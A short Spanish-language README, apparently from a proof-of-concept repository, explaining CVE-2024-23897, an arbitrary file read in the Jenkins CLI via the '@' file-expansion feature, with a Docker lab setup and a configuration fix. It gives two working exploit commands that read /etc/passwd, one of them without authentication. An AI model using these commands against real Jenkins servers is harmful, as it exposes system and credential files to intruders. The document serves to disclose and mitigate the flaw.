
en este git puedes encontrar toda la información sobre el CVE-2024-23897
El problema, asignado con el identificador CVE-2024-23897, ha sido descrito como una vulnerabilidad de lectura arbitraria de archivos a través de la interfaz de línea de comandos integrada. Este analizador de comandos tiene una característica que reemplaza un carácter @ seguido de una ruta de archivo en un argumento con el contenido del archivo (expandAtFiles). Esta característica está habilitada por defecto y Jenkins 2.441 y anteriores, LTS 2.426.2 y anteriores no la deshabilitan.
Para este PoC, he instalado Jenkins 2.426.2 con Docker para probar el exploit de la vulnerabilidad
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
Después de crear un usuario y una contraseña, descargué el cliente CLI de Jenkins (jenkins-cli.jar) en mi máquina atacante.
Luego, escribí el comando para el exploit. En este comando, necesitamos tener las credenciales del usuario de Jenkins.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
Otro comando permite mostrar las primeras líneas de un archivo sin autenticación.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
Para contrarrestar esta vulnerabilidad, debes navegar al archivo de configuración de Jenkins llamado config.xml (en mi caso, se encuentra en mi contenedor Docker, así que cambio al modo shell en mi contenedor)
<expandAtFiles>false</expandAtFiles>
y reiniciar Jenkins :
service jenkins restart